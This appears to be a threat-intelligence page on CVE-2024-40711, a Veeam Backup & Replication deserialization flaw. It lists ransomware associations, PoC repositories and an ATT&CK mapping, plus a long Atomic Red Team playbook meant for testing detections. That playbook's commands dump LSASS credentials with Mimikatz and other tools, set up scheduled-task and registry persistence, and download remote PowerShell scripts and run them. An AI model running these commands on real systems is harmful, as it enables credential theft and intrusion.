CVE-2024-40711

CRITICAL CISA KEV POC TTE 7d Pub 07/09 Upd 21/10

Overview

This vulnerability is a deserialization of untrusted data flaw affecting the Veeam Backup and Replication product. The root cause lies in the insecure processing of serialized objects received from unauthenticated sources, allowing malicious payloads to be deserialized. The affected component improperly handles serialized input in its API, enabling exploitation through crafted data without validation or authentication.

Vulnerability Description

A deserialization of untrusted data vulnerability with a malicious payload can allow an unauthenticated remote code execution (RCE).

Impact

An unauthenticated attacker can exploit this vulnerability to execute arbitrary code remotely on the Veeam Backup and Replication server. This grants full control over the affected system, potentially leading to data exposure, system compromise, and disruption of backup and recovery operations. No user interaction or valid credentials are required, enabling attackers to bypass security controls and achieve complete system takeover remotely.

Solution

Veeam has published an advisory and update addressing this vulnerability, detailed at https://www.veeam.com/kb4649. Users should upgrade to the latest version of Veeam Backup and Replication as specified in the advisory to remediate the issue. The vendor does not currently list any workarounds; applying the official patch is the recommended mitigation step.

EPSS vs KEV Prediction — Evolution (30 days)

Ransomware Intelligence

CISA KEV: Listed (ransomware unconfirmed)

2 confirmed, 4 correlated, 5 predicted

Confirmed Groups

Group	Victims	Source
akira	1529	ransomware.live
frag	30	ransomware.live

Correlated Groups

Correlations are established through analysis of shared tools, tactics, and infrastructure between threat groups and vulnerabilities. They do not represent direct confirmation of exploitation.

Group	Confidence	Victims	Source
akira	LOW	1529	Chain Inference
ransomhub	LOW	842	Chain Inference
sinobi	LOW	274	Chain Inference
0apt	LOW	—	Chain Inference

Predictions

Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.

The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.

akira (1529) ransomhub (842) sinobi (274) frag (30) 0apt

Full Analysis

The vulnerability in Veeam Backup & Replication arises from improper handling of deserialization processes, allowing an attacker to craft a malicious payload that can be executed remotely. Deserialization is the process of converting data from a format suitable for storage or transmission back into an object. When this process is applied to untrusted data without adequate validation, it opens a pathway for attackers to inject harmful code. In this case, the vulnerability can be exploited by sending specially crafted requests that the application improperly processes, leading to unauthorized remote code execution. This flaw is particularly critical due to its high CVSS score of 9.8, indicating a severe risk that can be easily exploited by adversaries.

Attack vectors for this vulnerability are diverse, primarily focusing on unauthenticated remote access. An attacker could leverage social engineering techniques to trick a user into interacting with a compromised system or directly target the application through network interfaces exposed to the internet. Once the malicious payload is delivered, the attacker can execute arbitrary code with the same privileges as the application, potentially gaining full control over the system. This could lead to further exploitation, such as data exfiltration, lateral movement within the network, or deploying ransomware. The ease of exploitation, combined with the potential for significant damage, makes this vulnerability particularly concerning for organizations relying on Veeam Backup & Replication for their data protection strategies.

The real-world impact of this vulnerability is profound, especially for businesses that depend on Veeam's solutions for backup and disaster recovery. Successful exploitation can lead to unauthorized access to sensitive data, disruption of critical services, and significant financial losses due to downtime or data breaches. The reputational damage associated with such incidents can also be severe, eroding customer trust and potentially leading to regulatory scrutiny. Organizations may face legal repercussions if they fail to protect sensitive information adequately, further compounding the financial implications of a successful attack. The combination of these factors underscores the necessity for immediate attention and remediation.

To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating Veeam Backup & Replication to the latest version is crucial, as vendors typically release patches to address known vulnerabilities. Employing intrusion detection systems (IDS) can help identify unusual patterns of behavior that may indicate exploitation attempts. Additionally, network segmentation can limit the exposure of critical systems to untrusted networks, reducing the attack surface. Organizations should also conduct routine security assessments and penetration testing to identify potential weaknesses in their defenses. Training employees on security best practices can further reduce the likelihood of successful social engineering attacks that could facilitate exploitation.

In conclusion, the deserialization vulnerability in Veeam Backup & Replication presents a significant threat to organizations that utilize this software for their data management needs. The potential for remote code execution by unauthenticated attackers highlights the urgent need for robust security measures and proactive risk management strategies. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against potential threats and safeguard their critical data assets.

CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2024-40711, coinciding with the vulnerability’s recent inclusion in the Known Exploited Vulnerabilities (KEV) catalog. Our telemetry indicates a sharp increase in detection activity, reflecting growing adversary interest and operationalization of this deserialization flaw in Veeam Backup and Recovery. The slight uptick in the Exploit Prediction Scoring System (EPSS) score further corroborates this trend, signaling an elevated likelihood of exploitation in the near term. Notably, the emergence of new proof-of-concept exploits on public repositories has lowered the technical barrier for threat actors, facilitating broader weaponization. The association of this vulnerability with multiple ransomware groups, including Akira and Sinobi, underscores its exploitation potential within ransomware campaigns, amplifying the risk to affected organizations. Collectively, these developments elevate the threat level from theoretical to actively exploited, necessitating heightened vigilance among defenders monitoring Veeam environments.

Update 2 — June 19, 2026

CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2024-40711, reflected in a significant increase in telemetry activity and a substantial rise in the Exploit Prediction Scoring System (EPSS) value. This upward trend indicates that threat actors are intensifying efforts to leverage this critical vulnerability in Veeam Backup and Recovery environments. Notably, the expansion of ransomware group associations to include an additional actor highlights the growing interest among financially motivated adversaries, further elevating the operational risk. The presence of multiple publicly available proof-of-concept exploits continues to lower the barrier for exploitation, facilitating broader adoption by both established and emerging ransomware campaigns. Collectively, these developments shift the threat landscape from emerging to actively exploited, underscoring an urgent need for defenders to prioritize detection and response capabilities specific to this vulnerability.

Update 3 — July 07, 2026

CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2024-40711, reflecting a growing operational tempo among threat actors exploiting this vulnerability. Our telemetry indicates a significant uptick in exploit attempts, coinciding with sustained interest from multiple ransomware groups, including akira and ransomhub, which continue to leverage this vector in active campaigns. The persistence of publicly available proof-of-concept exploits has further lowered the barrier for exploitation, enabling a broader range of adversaries to incorporate this vulnerability into their attack frameworks. Although the EPSS score remains stable, the qualitative increase in exploitation attempts signals a heightened risk environment. This escalation underscores the critical need for defenders to enhance monitoring and response mechanisms, as the vulnerability’s exploitation is transitioning from opportunistic to more frequent and targeted operations, thereby elevating the threat level to critical.

	Vendor	Product	Version	CPE
V	Veeam	Veeam Backup \& Replication	All	`cpe:2.3:a:veeam:veeam_backup_\&_replication::::::::`

Repository	Author	Stars	Forks	Date	Link
watchtowrlabs/CVE-2024-40711 Pre-Auth Exploit for CVE-2024-40711	watchtowrlabs	54	18	2024-09-15	View
realstatus/CVE-2024-40711-Exp CVE-2024-40711-exp	realstatus	43	6	2024-10-16	View

Exploited in Wild CONFIRMED

Ransomware IN USE

Attacker Interest MEDIUM

Sightings Few sightings

Ransomware Groups 6

akira

CONFIRMED

1529 victims

ransomware.live

2026-06-25

frag

CONFIRMED

30 victims

ransomware.live

2026-06-25

akira

CORRELATED

1529 victims

Chain Inference

2026-04-05

ransomhub

CORRELATED

842 victims

Chain Inference

2026-04-05

sinobi

CORRELATED

274 victims

Chain Inference

2026-04-05

0apt

CORRELATED

Chain Inference

2026-04-05

Threat Feed

19 events

2026-07-07

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-06

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-25

Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-06-25

Exploited by frag

Ransomware group known to exploit this vulnerability (30 known victims)

2026-06-23

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-10

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-15

Exploited by frag

Ransomware group known to exploit this vulnerability (30 known victims)

2026-04-13

Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05

Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-04-05

Exploited by ransomhub

Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)

2026-04-05

Exploited by sinobi

Ransomware group known to exploit this vulnerability (274 known victims)

2026-04-05

Exploited by 0apt

Ransomware group known to exploit this vulnerability

2026-04-05

Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-04-05

Exploited by ransomhub

Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)

2026-04-05

Exploited by sinobi

Ransomware group known to exploit this vulnerability (274 known victims)

2026-04-05

Exploited by 0apt

Ransomware group known to exploit this vulnerability

2024-10-17

Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2024-09-15

PoC Published (2 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope

Initial Access

TA0001

Execution

TA0002

Persistence

TA0003

Priv. Escalation

TA0004

Defense Evasion

TA0005

Credential Access

TA0006

Lateral Movement

TA0008

Collection

TA0009

Impact

TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Deserialization Vulnerabilities

100% deserialization

Remote Code Execution

100% rce

Code Injection

49% code_injection

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID	Name	Stage	Tactics	Platforms
T1190	Exploit Public-Facing Application	Initial Access	initial-access	Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1053.005	Scheduled Task	Kill Chain	execution, persistence, privilege-escalation	Windows
T1059.001	PowerShell	Kill Chain	execution	Windows
T1003.001	LSASS Memory	Kill Chain	credential-access	Windows
T1087.002	Domain Account	Kill Chain	discovery	Linux, macOS, Windows
T1021.002	SMB/Windows Admin Shares	Kill Chain	lateral-movement	Windows

CAPEC Attack Patterns ML

ID	Name	ML Conf.	Likelihood	Severity	Link
CAPEC-586	Object Injection	55%	Medium	High

Red Team Playbook

76 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1003.001 Create Mini Dump of LSASS.exe using ProcDump Windows CMD Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe Upon successful execution, you should see the following file created...

Command (CMD)

"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}

T1003.001 Dump LSASS with createdump.exe from .Net v5 Windows PowerShell Privileged

Use createdump executable from .NET to create an LSASS dump. [Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)

Command (PowerShell)

$exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id

T1003.001 Dump LSASS.exe Memory through Silent Process Exit Windows CMD Privileged

WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism introduced in Windows 7 called Silent Process Exit, which provides the ability to...

Command (CMD)

PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"

T1003.001 Dump LSASS.exe Memory using NanoDump Windows CMD Privileged

The NanoDump tool uses syscalls and an invalid dump signature to avoid detection. https://github.com/helpsystems/nanodump Upon successful execution, you should find the nanondump.dmp file in the temp directory

Command (CMD)

PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"

T1003.001 Dump LSASS.exe Memory using Out-Minidump.ps1 Windows PowerShell Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure powershell implementation that leverages the MiniDumpWriteDump Win32 API call. Upon successful execution, you should see the following file created...

Command (PowerShell)

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump

T1003.001 Dump LSASS.exe Memory using ProcDump Windows CMD Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp. If you see a message saying "procdump.exe is...

Command (CMD)

"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}

T1003.001 Dump LSASS.exe Memory using Windows Task Manager Windows Manual

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task Manager and administrative permissions.

T1003.001 Dump LSASS.exe Memory using comsvcs.dll Windows PowerShell Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll. Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.

Command (PowerShell)

C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full

T1003.001 Dump LSASS.exe Memory using direct system calls and API unhooking Windows CMD Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection....

Command (CMD)

"#{dumpert_exe}"

T1003.001 Dump LSASS.exe using imported Microsoft DLLs Windows PowerShell Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump file and delete it immediately to avoid brittle EDR detections that...

Command (PowerShell)

#{xordump_exe} -out #{output_file} -x 0x41

T1003.001 Dump LSASS.exe using lolbin rdrleakdiag.exe Windows PowerShell Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with lolbin rdrleakdiag.exe. Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and $env:TEMP\results_<PID>.hlk.

Command (PowerShell)

if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
  } elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
  } else {
      $binary_path = "File not found"
      exit 1
  }
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force} 
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."

T1003.001 LSASS read with pypykatz Windows CMD Privileged

Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa:: Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test. Successful execution of this test will display multiple usernames and passwords/hashes...

Command (CMD)

"#{venv_path}\Scripts\pypykatz" live lsa

T1003.001 Offline Credential Theft With Mimikatz Windows CMD Privileged

The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.

Command (CMD)

#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit

T1003.001 Powershell Mimikatz Windows PowerShell Privileged

Dumps credentials from memory via Powershell by invoking a remote mimikatz script. If Mimikatz runs successfully you will see several usernames and hashes output to the screen. Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks...

Command (PowerShell)

IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds

T1021.002 Copy and Execute File with PsExec Windows CMD Privileged

Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).

Command (CMD)

"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}

T1021.002 Execute command writing output to local Admin Share Windows CMD Privileged

Executes a command, writing the output to a local Admin Share. This technique is used by post-exploitation frameworks.

Command (CMD)

cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1

T1021.002 Map Admin Share PowerShell Windows PowerShell

Map Admin share utilizing PowerShell

Command (PowerShell)

New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}

T1021.002 Map admin share Windows CMD

Connecting To Remote Shares

Command (CMD)

cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"

T1053.005 Import XML Schedule Task with Hidden Attribute Windows PowerShell Privileged

Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. This technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.

Command (PowerShell)

$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }

T1053.005 PowerShell Modify A Scheduled Task Windows PowerShell

Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered. It will first be created to spawn cmd.exe, but modified...

Command (PowerShell)

$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction

T1053.005 Powershell Cmdlet Scheduled Task Windows PowerShell

Create an atomic scheduled task that leverages native powershell cmdlets. Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.

Command (PowerShell)

$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object

T1053.005 Scheduled Task ("Ghost Task") via Registry Key Manipulation Windows CMD Privileged

Create a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree,...

Command (CMD)

"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon

T1053.005 Scheduled Task Executing Base64 Encoded Commands From Registry Windows CMD

A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created. The scheduled task will launch powershell to decode and run the command in the registry daily. This is a persistence mechanism recently seen in use by Qakbot. ...

Command (CMD)

reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}

T1053.005 Scheduled Task Persistence via CompMgmt.msc Windows CMD Privileged

Adds persistence by abusing `compmgmt.msc` via a scheduled task. When the Computer Management console is opened, it will run a malicious payload (in this case, `calc.exe`). This technique abuses scheduled tasks and registry modifications to hijack legitimate system processes.

Command (CMD)

reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc

T1053.005 Scheduled Task Persistence via Eventviewer.msc Windows CMD Privileged

Adds persistence by abusing `eventviewer.msc` via a scheduled task. When the eventviewer console is opened, it will run a malicious payload (in this case, `calc.exe`).

Command (CMD)

reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"

T1053.005 Scheduled Task Startup Script Windows CMD Privileged

Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled tasks. To view the tasks, open the Task Scheduler and look in the Active Tasks pane.

Command (CMD)

schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"

T1053.005 Scheduled task Local Windows CMD

Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.

Command (CMD)

SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}

T1053.005 Scheduled task Remote Windows CMD Privileged

Create a task on a remote system. Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.

Command (CMD)

SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}

T1053.005 Task Scheduler via VBA Windows PowerShell

This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within 30 - 40 seconds after this module has run

Command (PowerShell)

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) 
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"

T1053.005 WMI Invoke-CimMethod Scheduled Task Windows PowerShell Privileged

Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.

Command (PowerShell)

$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }

T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations Windows PowerShell

Executes powershell.exe with variations of the -Command parameter

Command (PowerShell)

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop

T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments Windows PowerShell

Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied

Command (PowerShell)

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop

T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations Windows PowerShell

Executes powershell.exe with variations of the -EncodedCommand parameter

Command (PowerShell)

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop

T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments Windows PowerShell

Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied

Command (PowerShell)

Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop

T1059.001 Abuse Nslookup with DNS Records Windows PowerShell

Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts. [reference](https://twitter.com/jstrosch/status/1237382986557001729)

Command (PowerShell)

# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup  { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]

T1059.001 Invoke-AppPathBypass Windows CMD

Note: Windows 10 only. Upon execution windows backup and restore window will be opened. Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/

Command (CMD)

Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"

T1059.001 Mimikatz Windows CMD Privileged

Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.

Command (CMD)

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"

T1059.001 Mimikatz - Cradlecraft PsSendKeys Windows PowerShell Privileged

Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.

Command (PowerShell)

$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr

T1059.001 NTFS Alternate Data Stream Access Windows PowerShell

Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.

Command (PowerShell)

Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand

T1059.001 PowerShell Command Execution Windows CMD

Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.

Command (CMD)

powershell.exe -e  #{obfuscated_code}

T1059.001 PowerShell Fileless Script Execution Windows PowerShell

Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that art-marker.txt is in the folder.

Command (PowerShell)

# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))

T1059.001 PowerShell Invoke Known Malicious Cmdlets Windows PowerShell Privileged

Powershell execution of known Malicious PowerShell Cmdlets

Command (PowerShell)

$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
    "function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
    $cmdlets}

T1059.001 PowerShell Session Creation and Use Windows PowerShell Privileged

Connect to a remote powershell session and interact with the host. Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.

Command (PowerShell)

New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
